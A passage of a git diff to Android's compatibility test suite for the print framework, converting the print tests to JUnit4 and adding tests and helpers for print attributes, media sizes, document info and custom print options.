                 "com.android.printspooler:id/expand_collapse_handle"));
         expandHandle.click();
     }
 
-    protected void openCustomPrintOptions() throws UiObjectNotFoundException {
-        UiObject expandHandle = mUiDevice.findObject(new UiSelector().resourceId(
+    void openCustomPrintOptions() throws UiObjectNotFoundException {
+        UiObject expandHandle = sUiDevice.findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/more_options_button"));
         expandHandle.click();
     }
 
-    protected void clearPrintSpoolerData() throws Exception {
+    static void clearPrintSpoolerData() throws Exception {
         assertTrue("failed to clear print spooler data",
-                SystemUtil.runShellCommand(getInstrumentation(), String.format(
+                SystemUtil.runShellCommand(sInstrumentation, String.format(
                         "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
                         .contains(PM_CLEAR_SUCCESS_OUTPUT));
     }
 
-    protected void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
+    void verifyLayoutCall(InOrder inOrder, PrintDocumentAdapter mock,
             PrintAttributes oldAttributes, PrintAttributes newAttributes,
             final boolean forPreview) {
         inOrder.verify(mock).onLayout(eq(oldAttributes), eq(newAttributes),
@@ -630,7 +752,7 @@
                         }));
     }
 
-    protected PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
+    PrintDocumentAdapter createMockPrintDocumentAdapter(Answer<Void> layoutAnswer,
             Answer<Void> writeAnswer, Answer<Void> finishAnswer) {
         // Create a mock print adapter.
         PrintDocumentAdapter adapter = mock(PrintDocumentAdapter.class);
@@ -650,8 +772,51 @@
         return adapter;
     }
 
+    /**
+     * Create a mock {@link PrintDocumentAdapter} that provides one empty page.
+     *
+     * @return The mock adapter
+     */
+    @NonNull PrintDocumentAdapter createDefaultPrintDocumentAdapter(int numPages) {
+        final PrintAttributes[] printAttributes = new PrintAttributes[1];
+
+        return createMockPrintDocumentAdapter(
+                invocation -> {
+                    PrintAttributes oldAttributes = (PrintAttributes) invocation.getArguments()[0];
+                    printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                    PrintDocumentAdapter.LayoutResultCallback callback =
+                            (PrintDocumentAdapter.LayoutResultCallback) invocation
+                                    .getArguments()[3];
+
+                    callback.onLayoutFinished(new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setPageCount(numPages).build(),
+                            !oldAttributes.equals(printAttributes[0]));
+
+                    oldAttributes = printAttributes[0];
+
+                    onLayoutCalled();
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    PrintDocumentAdapter.WriteResultCallback callback =
+                            (PrintDocumentAdapter.WriteResultCallback) args[3];
+
+                    writeBlankPages(printAttributes[0], fd, pages[0].getStart(), pages[0].getEnd());
+                    fd.close();
+                    callback.onWriteFinished(pages);
+
+                    onWriteCalled();
+                    return null;
+                }, invocation -> {
+                    onFinishCalled();
+                    return null;
+                });
+    }
+
     @SuppressWarnings("unchecked")
-    protected PrinterDiscoverySessionCallbacks createMockPrinterDiscoverySessionCallbacks(
+    protected static PrinterDiscoverySessionCallbacks createMockPrinterDiscoverySessionCallbacks(
             Answer<Void> onStartPrinterDiscovery, Answer<Void> onStopPrinterDiscovery,
             Answer<Void> onValidatePrinters, Answer<Void> onStartPrinterStateTracking,
             Answer<Void> onRequestCustomPrinterIcon, Answer<Void> onStopPrinterStateTracking,
@@ -697,7 +862,7 @@
             Answer<Void> onPrintJobQueued, Answer<Void> onRequestCancelPrintJob) {
         final PrintServiceCallbacks service = mock(PrintServiceCallbacks.class);
 
-        doCallRealMethod().when(service).setService(any(PrintService.class));
+        doCallRealMethod().when(service).setService(any(StubbablePrintService.class));
         when(service.getService()).thenCallRealMethod();
 
         if (onCreatePrinterDiscoverySessionCallbacks != null) {
@@ -725,10 +890,28 @@
         }
         FileOutputStream fos = new FileOutputStream(output.getFileDescriptor());
         document.writeTo(fos);
+        fos.flush();
         document.close();
     }
 
-    protected static final class CallCounter {
+    protected void selectPages(String pages, int totalPages) throws Exception {
+        UiObject pagesSpinner = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/range_options_spinner"));
+        pagesSpinner.click();
+
+        UiObject rangeOption = getUiDevice().findObject(new UiSelector().textContains(
+                getPrintSpoolerStringOneParam("template_page_range", totalPages)));
+        rangeOption.click();
+
+        UiObject pagesEditText = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/page_range_edittext"));
+        pagesEditText.setText(pages);
+
+        // Hide the keyboard.
+        getUiDevice().pressBack();
+    }
+
+    private static final class CallCounter {
         private final Object mLock = new Object();
 
         private int mCallCount;
@@ -740,7 +923,7 @@
             }
         }
 
-        public int getCallCount() {
+        int getCallCount() {
             synchronized (mLock) {
                 return mCallCount;
             }
@@ -779,7 +962,7 @@
      * @param adapter The {@link PrintDocumentAdapter} used
      * @throws Exception If the printer could not be made default
      */
-    protected void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
+    void makeDefaultPrinter(PrintDocumentAdapter adapter, String printerName)
             throws Exception {
         // Perform a full print operation on the printer
         Log.d(LOG_TAG, "print");
@@ -799,12 +982,104 @@
         Log.d(LOG_TAG, "getActivity().finish()");
         getActivity().finish();
 
-        Log.d(LOG_TAG, "createActivity");
         createActivity();
     }
 
-    protected boolean supportsPrinting() {
-        return getInstrumentation().getContext().getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_PRINTING);
+    /**
+     * Get a string array from the print spooler's resources.
+     *
+     * @param resourceName The name of the array resource
+     * @return The localized string array
+     *
+     * @throws Exception If anything is unexpected
+     */
+    String[] getPrintSpoolerStringArray(String resourceName) throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int id = printSpoolerRes.getIdentifier(resourceName, "array", PRINTSPOOLER_PACKAGE);
+        return printSpoolerRes.getStringArray(id);
+    }
+
+    /**
+     * Get a string from the print spooler's resources.
+     *
+     * @param resourceName The name of the string resource
+     * @return The localized string
+     *
+     * @throws Exception If anything is unexpected
+     */
+    String getPrintSpoolerString(String resourceName) throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
+        return printSpoolerRes.getString(id);
+    }
+
+    /**
+     * Get a string with one parameter from the print spooler's resources.
+     *
+     * @param resourceName The name of the string resource
+     * @return The localized string
+     *
+     * @throws Exception If anything is unexpected
+     */
+    String getPrintSpoolerStringOneParam(String resourceName, Object p)
+            throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int id = printSpoolerRes.getIdentifier(resourceName, "string", PRINTSPOOLER_PACKAGE);
+        return printSpoolerRes.getString(id, p);
+    }
+
+    /**
+     * Get the default media size for the current locale.
+     *
+     * @return The default media size for the current locale
+     *
+     * @throws Exception If anything is unexpected
+     */
+    PrintAttributes.MediaSize getDefaultMediaSize() throws Exception {
+        PackageManager pm = getActivity().getPackageManager();
+        Resources printSpoolerRes = pm.getResourcesForApplication(PRINTSPOOLER_PACKAGE);
+        int defaultMediaSizeResId = printSpoolerRes.getIdentifier("mediasize_default", "string",
+                PRINTSPOOLER_PACKAGE);
+        String defaultMediaSizeName = printSpoolerRes.getString(defaultMediaSizeResId);
+
+        switch (defaultMediaSizeName) {
+            case "NA_LETTER":
+                return PrintAttributes.MediaSize.NA_LETTER;
+            case "JIS_B5":
+                return PrintAttributes.MediaSize.JIS_B5;
+            case "ISO_A4":
+                return PrintAttributes.MediaSize.ISO_A4;
+            default:
+                throw new Exception("Unknown default media size " + defaultMediaSizeName);
+        }
+    }
+
+    /**
+     * Annotation used to signal that a test does not need an activity.
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target(ElementType.METHOD)
+    @interface NoActivity { }
+
+    /**
+     * Rule that handles the {@link NoActivity} annotation.
+     */
+    private static class ShouldStartActivity implements TestRule {
+        boolean noActivity;
+
+        @Override
+        public Statement apply(Statement base, org.junit.runner.Description description) {
+            for (Annotation annotation : description.getAnnotations()) {
+                if (annotation instanceof NoActivity) {
+                    noActivity = true;
+                    break;
+                }
+            }
+
+            return base;
+        }
     }
 }
diff --git a/tests/tests/print/src/android/print/cts/ClassParametersTest.java b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
index bad47f8..e0c41ea 100644
--- a/tests/tests/print/src/android/print/cts/ClassParametersTest.java
+++ b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
@@ -24,39 +24,22 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import static android.print.cts.Utils.*;
+import static org.junit.Assert.*;
+
 /**
- * Test that the print attributes are correctly propagated through the print framework
+ * Test that the print attributes can be constructed correctly. This does not test that the
+ * attributes have the desired effect when send to the print framework.
  */
 @RunWith(AndroidJUnit4.class)
 public class ClassParametersTest {
     /**
-     * Run a runnable and expect and exception of a certain type.
-     *
-     * @param r The runnable to run
-     * @param expectedClass The expected exception type
-     */
-    private void assertException(Runnable r, Class<? extends RuntimeException> expectedClass) {
-        try {
-            r.run();
-        } catch (Exception e) {
-            if (e.getClass().isAssignableFrom(expectedClass)) {
-                return;
-            } else {
-                throw new AssertionError("Expected: " + expectedClass.getName() + ", got: "
-                        + e.getClass().getName());
-            }
-        }
-
-        throw new AssertionError("No exception thrown");
-    }
-
-    /**
-     * Test that we cannot create PrintAttributes with illegal parameters.
+     * Test that we cannot create PrintAttributes.colorModes with illegal parameters.
      *
      * @throws Exception If anything is unexpected
      */
     @Test
-    public void testIllegalPrintAttributes() throws Exception {
+    public void illegalPrintAttributesColorMode() throws Throwable {
         assertException(() -> (new PrintAttributes.Builder()).setColorMode(-1),
                 IllegalArgumentException.class);
         assertException(() -> (new PrintAttributes.Builder()).setColorMode(0),
@@ -64,7 +47,15 @@
         assertException(() -> (new PrintAttributes.Builder()).setColorMode(
                 PrintAttributes.COLOR_MODE_COLOR | PrintAttributes.COLOR_MODE_MONOCHROME),
                 IllegalArgumentException.class);
+    }
 
+    /**
+     * Test that we cannot create PrintAttributes.duplexMode with illegal parameters.
+     *
+     * @throws Exception If anything is unexpected
+     */
+    @Test
+    public void illegalPrintAttributesDuplexMode() throws Throwable {
         assertException(() -> (new PrintAttributes.Builder()).setDuplexMode(-1),
                 IllegalArgumentException.class);
         assertException(() -> (new PrintAttributes.Builder()).setDuplexMode(0),
@@ -72,7 +63,15 @@
         assertException(() -> (new PrintAttributes.Builder()).setDuplexMode(
                 PrintAttributes.DUPLEX_MODE_LONG_EDGE | PrintAttributes.DUPLEX_MODE_NONE),
                 IllegalArgumentException.class);
+    }
 
+    /**
+     * Test that we cannot create PrintAttributes.resolution with illegal parameters.
+     *
+     * @throws Exception If anything is unexpected
+     */
+    @Test
+    public void illegalPrintAttributesResolution() throws Throwable {
         assertException(() -> new Resolution(null, "label", 10, 10),
                 IllegalArgumentException.class);
         assertException(() -> new Resolution("", "label", 10, 10),
@@ -89,7 +88,45 @@
                 IllegalArgumentException.class);
         assertException(() -> new Resolution("id", "label", 10, 0),
                 IllegalArgumentException.class);
+    }
 
+    /**
+     * Test that we can create PrintAttributes.resolution with legal parameters.
+     *
+     * @throws Exception If anything is unexpected
+     */
+    @Test
+    public void legalPrintAttributesResolution() throws Exception {
+        // Small resolution
+        Resolution testResolution = new Resolution("testId", "testLabel", 1, 2);
+        assertEquals("testId", testResolution.getId());
+        assertEquals("testLabel", testResolution.getLabel());
+        assertEquals(1, testResolution.getHorizontalDpi());
+        assertEquals(2, testResolution.getVerticalDpi());
+
+        // Small even resolution
+        Resolution testResolution2 = new Resolution("testId2", "testLabel2", 1, 1);
+        assertEquals("testId2", testResolution2.getId());
+        assertEquals("testLabel2", testResolution2.getLabel());
+        assertEquals(1, testResolution2.getHorizontalDpi());
+        assertEquals(1, testResolution2.getVerticalDpi());
+
+        // Large even resolution
+        Resolution testResolution3 = new Resolution("testId3", "testLabel3", Integer.MAX_VALUE,
+                Integer.MAX_VALUE);
+        assertEquals("testId3", testResolution3.getId());
+        assertEquals("testLabel3", testResolution3.getLabel());
+        assertEquals(Integer.MAX_VALUE, testResolution3.getHorizontalDpi());
+        assertEquals(Integer.MAX_VALUE, testResolution3.getVerticalDpi());
+    }
+
+    /**
+     * Test that we cannot create PrintAttributes.mediaSize with illegal parameters.
+     *
+     * @throws Exception If anything is unexpected
+     */
+    @Test
+    public void illegalPrintAttributesMediaSize() throws Throwable {
         assertException(() -> new MediaSize(null, "label", 10, 10),
                 IllegalArgumentException.class);
         assertException(() -> new MediaSize("", "label", 10, 10),
@@ -106,8 +143,81 @@
                 IllegalArgumentException.class);
         assertException(() -> new MediaSize("id", "label", 10, 0),
                 IllegalArgumentException.class);
+    }
 
-        // There is no restrictions on what parameters to set for minMargins.
+    /**
+     * Test that we can create PrintAttributes.mediaSize with legal parameters.
+     *
+     * @throws Exception If anything is unexpected
+     */
+    @Test
+    public void legalPrintAttributesMediaSize() throws Exception {
+        // Small portrait paper
+        MediaSize testMediaSize1 = new MediaSize("testId", "testLabel", 1, 2);
+        assertEquals("testId", testMediaSize1.getId());
+        assertEquals("testLabel", testMediaSize1.getLabel(null));
+        assertEquals(1, testMediaSize1.getWidthMils());
+        assertEquals(2, testMediaSize1.getHeightMils());
+        assertTrue(testMediaSize1.isPortrait());
+
+        MediaSize testMediaSize1L = testMediaSize1.asLandscape();
+        assertEquals("testId", testMediaSize1L.getId());
+        assertEquals("testLabel", testMediaSize1L.getLabel(null));
+        assertEquals(2, testMediaSize1L.getWidthMils());
+        assertEquals(1, testMediaSize1L.getHeightMils());
+        assertFalse(testMediaSize1L.isPortrait());
+
+        MediaSize testMediaSize1P = testMediaSize1.asPortrait();
+        assertEquals("testId", testMediaSize1P.getId());
+        assertEquals("testLabel", testMediaSize1P.getLabel(null));
+        assertEquals(1, testMediaSize1P.getWidthMils());
+        assertEquals(2, testMediaSize1P.getHeightMils());
+        assertTrue(testMediaSize1P.isPortrait());
+
+        // Small square paper
+        MediaSize testMediaSize2 = new MediaSize("testId2", "testLabel2", 1, 1);
+        assertEquals("testId2", testMediaSize2.getId());
+        assertEquals("testLabel2", testMediaSize2.getLabel(null));
+        assertEquals(1, testMediaSize2.getWidthMils());
+        assertEquals(1, testMediaSize2.getHeightMils());
+        assertTrue(testMediaSize2.isPortrait());
+
+        MediaSize testMediaSize2L = testMediaSize2.asLandscape();
+        assertEquals("testId2", testMediaSize2L.getId());
+        assertEquals("testLabel2", testMediaSize2L.getLabel(null));
+        assertEquals(1, testMediaSize2L.getWidthMils());
+        assertEquals(1, testMediaSize2L.getHeightMils());
+        assertTrue(testMediaSize2L.isPortrait());
+
+        MediaSize testMediaSize2P = testMediaSize2.asPortrait();
+        assertEquals("testId2", testMediaSize2P.getId());
+        assertEquals("testLabel2", testMediaSize2P.getLabel(null));
+        assertEquals(1, testMediaSize2P.getWidthMils());
+        assertEquals(1, testMediaSize2P.getHeightMils());
+        assertTrue(testMediaSize2P.isPortrait());
+
+        // Large landscape paper
+        MediaSize testMediaSize3 = new MediaSize("testId3", "testLabel3", Integer.MAX_VALUE,
+                Integer.MAX_VALUE - 1);
+        assertEquals("testId3", testMediaSize3.getId());
+        assertEquals("testLabel3", testMediaSize3.getLabel(null));
+        assertEquals(Integer.MAX_VALUE, testMediaSize3.getWidthMils());
+        assertEquals(Integer.MAX_VALUE - 1, testMediaSize3.getHeightMils());
+        assertFalse(testMediaSize3.isPortrait());
+
+        MediaSize testMediaSize3L = testMediaSize3.asLandscape();
+        assertEquals("testId3", testMediaSize3L.getId());
+        assertEquals("testLabel3", testMediaSize3L.getLabel(null));
+        assertEquals(Integer.MAX_VALUE, testMediaSize3L.getWidthMils());
+        assertEquals(Integer.MAX_VALUE - 1, testMediaSize3L.getHeightMils());
+        assertFalse(testMediaSize3L.isPortrait());
+
+        MediaSize testMediaSize3P = testMediaSize3.asPortrait();
+        assertEquals("testId3", testMediaSize3P.getId());
+        assertEquals("testLabel3", testMediaSize3P.getLabel(null));
+        assertEquals(Integer.MAX_VALUE - 1, testMediaSize3P.getWidthMils());
+        assertEquals(Integer.MAX_VALUE, testMediaSize3P.getHeightMils());
+        assertTrue(testMediaSize3P.isPortrait());
     }
 
     /**
@@ -116,7 +226,7 @@
      * @throws Exception If anything is unexpected
      */
     @Test
-    public void testIllegalPrintDocumentInfo() throws Exception {
+    public void illegalPrintDocumentInfo() throws Throwable {
         assertException(() -> new PrintDocumentInfo.Builder(null),
                 IllegalArgumentException.class);
         assertException(() -> new PrintDocumentInfo.Builder(""),
@@ -124,8 +234,45 @@
 
         assertException(() -> new PrintDocumentInfo.Builder("doc").setPageCount(-2),
                 IllegalArgumentException.class);
-        // -1 == UNKNOWN and 0 are allowed
+    }
 
-        // Content type is not restricted
+    /**
+     * Test that we can create PrintDocumentInfo with legal parameters.
+     *
+     * @throws Exception If anything is unexpected
+     */
+    @Test
+    public void legalPrintDocumentInfo() throws Exception {
+        PrintDocumentInfo defaultInfo = new PrintDocumentInfo.Builder("doc").build();
+        assertEquals(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT, defaultInfo.getContentType());
+        assertEquals(PrintDocumentInfo.PAGE_COUNT_UNKNOWN, defaultInfo.getPageCount());
+        assertEquals(0, defaultInfo.getDataSize());
+        assertEquals("doc", defaultInfo.getName());
+
+        PrintDocumentInfo info = new PrintDocumentInfo.Builder("doc")
+                .setContentType(PrintDocumentInfo.CONTENT_TYPE_UNKNOWN).build();
+        assertEquals(PrintDocumentInfo.CONTENT_TYPE_UNKNOWN, info.getContentType());
+
+        PrintDocumentInfo info2 = new PrintDocumentInfo.Builder("doc")
+                .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT).build();
+        assertEquals(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT, info2.getContentType());
+
+        PrintDocumentInfo info3 = new PrintDocumentInfo.Builder("doc")
+                .setContentType(PrintDocumentInfo.CONTENT_TYPE_PHOTO).build();
+        assertEquals(PrintDocumentInfo.CONTENT_TYPE_PHOTO, info3.getContentType());
+
+        PrintDocumentInfo info4 = new PrintDocumentInfo.Builder("doc").setContentType(-23).build();
+        assertEquals(-23, info4.getContentType());
+
+        PrintDocumentInfo info5 = new PrintDocumentInfo.Builder("doc").setPageCount(0).build();
+        assertEquals(PrintDocumentInfo.PAGE_COUNT_UNKNOWN, info5.getPageCount());
+
+        PrintDocumentInfo info6 = new PrintDocumentInfo.Builder("doc")
+                .setPageCount(PrintDocumentInfo.PAGE_COUNT_UNKNOWN).build();
+        assertEquals(PrintDocumentInfo.PAGE_COUNT_UNKNOWN, info6.getPageCount());
+
+        PrintDocumentInfo info7 = new PrintDocumentInfo.Builder("doc")
+                .setPageCount(Integer.MAX_VALUE).build();
+        assertEquals(Integer.MAX_VALUE, info7.getPageCount());
     }
 }
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index c65118b..eb9806e 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -36,11 +36,16 @@
 import android.print.cts.services.PrinterDiscoverySessionCallbacks;
 import android.print.cts.services.SecondPrintService;
 import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.util.Log;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.mockito.invocation.InvocationOnMock;
 import org.mockito.stubbing.Answer;
 
@@ -49,9 +54,12 @@
 import java.util.List;
 import java.util.concurrent.TimeoutException;
 
+import static android.print.cts.Utils.eventually;
+
 /**
  * This test verifies changes to the printer capabilities are applied correctly.
  */
+@RunWith(AndroidJUnit4.class)
 public class CustomPrintOptionsTest extends BasePrintTest {
     private final static String LOG_TAG = "CustomPrintOptionsTest";
     private static final String PRINTER_NAME = "Test printer";
@@ -79,6 +87,10 @@
             new Resolution("600x600", "600x600", 600, 600)
     };
 
+    private PrintAttributes mLayoutAttributes;
+    private PrintDocumentAdapter mAdapter;
+    private static boolean sHasDefaultPrinterSet;
+
     /**
      * Get the page ranges currently selected as described in the UI.
      *
@@ -87,7 +99,8 @@
      * @throws Exception If something was unexpected
      */
     private PageRange[] getPages() throws Exception {
-        if (getUiDevice().hasObject(By.text("All 3"))) {
+        if (getUiDevice().hasObject(By.text(getPrintSpoolerStringOneParam("template_all_pages",
+                3)))) {
             return PAGESS[2];
         }
 
@@ -110,30 +123,8 @@
         }
     }
 
-    /**
-     * Test that we can switch to a specific set of settings via the custom print options activity
-     *
-     * @param copyFromOriginal If the print job info should be copied from the original
-     * @param numCopies        The copies to print
-     * @param pages            The page ranges to print
-     * @param mediaSize        The media size to use
-     * @param isPortrait       If the mediaSize is portrait
-     * @param colorMode        The color mode to use
-     * @param duplexMode       The duplex mode to use
-     * @param resolution       The resolution to use
-     *
-     * @throws Exception If anything is unexpected
-     */
-    private void testCase(final boolean copyFromOriginal, final Integer numCopies,
-            final PageRange[] pages, final MediaSize mediaSize, final boolean isPortrait,
-            final Integer colorMode, final Integer duplexMode, final Resolution resolution)
-            throws Throwable {
-        if (!supportsPrinting()) {
-            return;
-        }
-
-        final PrintAttributes[] layoutAttributes = new PrintAttributes[1];
-
+    @Before
+    public void setUpServicesAndAdapter() {
         final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
                 createMockPrinterDiscoverySessionCallbacks(invocation -> {
                     StubbablePrinterDiscoverySession session =
@@ -164,7 +155,7 @@
                     return null;
                 });
 
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter(
+        mAdapter = createMockPrintDocumentAdapter(
                 invocation -> {
                     LayoutResultCallback callback = (LayoutResultCallback) invocation
                             .getArguments()[3];
@@ -174,7 +165,7 @@
                             .build();
 
                     synchronized (CustomPrintOptionsTest.this) {
-                        layoutAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+                        mLayoutAttributes = (PrintAttributes) invocation.getArguments()[1];
 
                         CustomPrintOptionsTest.this.notifyAll();
                     }
@@ -189,7 +180,7 @@
 
                     PageRange[] writtenPages = (PageRange[]) args[0];
 
-                    writeBlankPages(layoutAttributes[0], fd, writtenPages[0].getStart(),
+                    writeBlankPages(mLayoutAttributes, fd, writtenPages[0].getStart(),
                             writtenPages[0].getEnd());
                     fd.close();
 
@@ -208,6 +199,51 @@
         FirstPrintService.setCallbacks(firstServiceCallbacks);
         SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
 
+        // Set default printer
+        if (!sHasDefaultPrinterSet) {
+            // This is the first print test that runs. If this is run after other tests these other
+            // test can still cause memory pressure and make the printactivity to go through a
+            // destroy-create cycle. In this case we have to retry to operation.
+            int tries = 0;
+            while (true) {
+                try {
+                    resetCounters();
+                    makeDefaultPrinter(mAdapter, PRINTER_NAME);
+                    break;
+                } catch (Throwable e) {
+                    if (getActivityDestroyCallbackCallCount() > 0 && tries < MAX_TRIES) {
+                        Log.e(LOG_TAG, "Activity was destroyed during test, retrying", e);
+
+                        tries++;
+                        continue;
+                    }
+
+                    throw new RuntimeException(e);
+                }
+            }
+
+            sHasDefaultPrinterSet = true;
+        }
+    }
+
+    /**
+     * Test that we can switch to a specific set of settings via the custom print options activity
+     *
+     * @param copyFromOriginal If the print job info should be copied from the original
+     * @param numCopies        The copies to print
+     * @param pages            The page ranges to print
+     * @param mediaSize        The media size to use
+     * @param isPortrait       If the mediaSize is portrait
+     * @param colorMode        The color mode to use
+     * @param duplexMode       The duplex mode to use
+     * @param resolution       The resolution to use
+     *
+     * @throws Exception If anything is unexpected
+     */
+    private void testCase(final boolean copyFromOriginal, final Integer numCopies,
+            final PageRange[] pages, final MediaSize mediaSize, final boolean isPortrait,
+            final Integer colorMode, final Integer duplexMode, final Resolution resolution)
+            throws Throwable {
         final PrintAttributes.Builder additionalAttributesBuilder = new PrintAttributes.Builder();
         final PrintAttributes.Builder newAttributesBuilder = new PrintAttributes.Builder();
 
@@ -272,28 +308,6 @@
                     return printJobBuilder.build();
                 });
 
-        // This is the first print test that runs. If this is run after other tests these other test
-        // can still cause memory pressure and make the printactivity to go through a destroy-create
-        // cycle. In this case we have to retry to operation.
-        int tries = 0;
-        while (true) {
-            try {
-                clearPrintSpoolerData();
-                resetCounters();
-                makeDefaultPrinter(adapter, PRINTER_NAME);
-                break;
-            } catch (Throwable e) {
-                if (getActivityDestroyCallbackCallCount() > 0 && tries < MAX_TRIES) {
-                    Log.e(LOG_TAG, "Activity was destroyed during test, retrying", e);
-
-                    tries++;
-                    continue;
-                }
-
-                throw e;
-            }
-        }
-
         // Check that the attributes were send to the print service
         PrintAttributes newAttributes = newAttributesBuilder.build();
         Log.i(LOG_TAG, "Change to attributes: " + newAttributes + ", copies: " + numCopies +
@@ -302,12 +316,13 @@
         // This is the first print test that runs. If this is run after other tests these other test
         // can still cause memory pressure and make the printactivity to go through a destroy-create
         // cycle. In this case we have to retry to operation.
+        int tries = 0;
         while (true) {
             try {
                 resetCounters();
 
                 // Start printing
-                print(adapter);
+                print(mAdapter);
 
                 // Wait for write.
                 waitForWriteAdapterCallback(1);
@@ -322,15 +337,15 @@
                 Log.d(LOG_TAG, "Check attributes");
                 long endTime = System.currentTimeMillis() + OPERATION_TIMEOUT_MILLIS;
                 synchronized (this) {
-                    while (layoutAttributes[0] == null ||
-                            !layoutAttributes[0].equals(newAttributes)) {
+                    while (mLayoutAttributes == null ||
+                            !mLayoutAttributes.equals(newAttributes)) {
                         wait(Math.max(1, endTime - System.currentTimeMillis()));
 
                         if (endTime < System.currentTimeMillis()) {
                             throw new TimeoutException(
                                     "Print attributes did not change to " + newAttributes + " in " +
                                             OPERATION_TIMEOUT_MILLIS + " ms. Current attributes"
-                                            + layoutAttributes[0]);
+                                            + mLayoutAttributes);
                         }
                     }
                 }
@@ -344,25 +359,14 @@
                 }
 
                 Log.d(LOG_TAG, "Check pages");
-                while (true) {
-                    try {
-                        PageRange[] actualPages = getPages();
-                        if (!Arrays.equals(newPages, actualPages)) {
-                            new AssertionError(
-                                    "Expected " + Arrays.toString(newPages) + ", actual " +
-                                            Arrays.toString(actualPages));
-                        }
-
-                        break;
-                    } catch (Throwable e) {
-                        if (endTime < System.currentTimeMillis()) {
-                            throw e;
-                        } else {
-                            Log.e(LOG_TAG, "Could not verify pages, retrying", e);
-                            Thread.sleep(100);
-                        }
+                eventually(() -> {
+                    PageRange[] actualPages = getPages();
+                    if (!Arrays.equals(newPages, actualPages)) {
+                        throw new AssertionError(
+                                "Expected " + Arrays.toString(newPages) + ", actual " +
+                                        Arrays.toString(actualPages));
                     }
-                }
+                });
 
                 break;
             } catch (Throwable e) {
@@ -385,48 +389,63 @@
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
     }
 
-    public void testChangeToChangeEveryThing() throws Throwable {
-        testCase(false, 2, PAGESS[1], MEDIA_SIZES[1], false, COLOR_MODES[1], DUPLEX_MODES[1],
+    @Test
+    public void changeToChangeEveryThingButPages() throws Throwable {
+        testCase(false, 2, null, MEDIA_SIZES[1], false, COLOR_MODES[1], DUPLEX_MODES[1],
                 RESOLUTIONS[1]);
     }
 
-    public void testChangeToAttributes() throws Throwable {
+    @Test
+    public void changeToAttributes() throws Throwable {
         testCase(false, null, null, MEDIA_SIZES[1], false, COLOR_MODES[1], DUPLEX_MODES[1],
                 RESOLUTIONS[1]);
     }
 
-    public void testChangeToNonAttributes() throws Throwable {
+    @Test
+    public void changeToNonAttributes() throws Throwable {
         testCase(false, 2, PAGESS[1], null, true, null, null, null);
     }
 
-    public void testChangeToAttributesNoCopy() throws Throwable {
+    @Test
+    public void changeToAttributesNoCopy() throws Throwable {
         testCase(true, null, null, MEDIA_SIZES[1], false, COLOR_MODES[1], DUPLEX_MODES[1],
                 RESOLUTIONS[1]);
     }
 
-    public void testChangeToNonAttributesNoCopy() throws Throwable {
+    @Test
+    public void changeToNonAttributesNoCopy() throws Throwable {
         testCase(true, 2, PAGESS[1], null, true, null, null, null);
     }
 
-    public void testChangeToDefault() throws Throwable {
+    @Test
+    public void changeToDefault() throws Throwable {
         testCase(false, 1, DEFAULT_PAGES, DEFAULT_MEDIA_SIZE, DEFAULT_MEDIA_SIZE.isPortrait(),
                 DEFAULT_COLOR_MODE, DEFAULT_DUPLEX_MODE, DEFAULT_RESOLUTION);
     }
 
-    public void testChangeToDefaultNoCopy() throws Throwable {
+    @Test
+    public void changeToDefaultNoCopy() throws Throwable {
         testCase(true, 1, DEFAULT_PAGES, DEFAULT_MEDIA_SIZE, DEFAULT_MEDIA_SIZE.isPortrait(),
                 DEFAULT_COLOR_MODE, DEFAULT_DUPLEX_MODE, DEFAULT_RESOLUTION);
     }
 
-    public void testChangeToNothing() throws Throwable {
+    @Test
+    public void changeToNothing() throws Throwable {
         testCase(false, null, null, null, true, null, null, null);
     }
 
+    @Test
     public void testChangeToNothingNoCopy() throws Throwable {
         testCase(true, null, null, null, true, null, null, null);
     }
 
-    public void testChangeToAllPages() throws Throwable {
+    @Test
+    public void changeToAllPages() throws Throwable {
         testCase(false, null, PAGESS[2], null, true, null, null, null);
     }
+
+    @Test
+    public void changeToSomePages() throws Throwable {
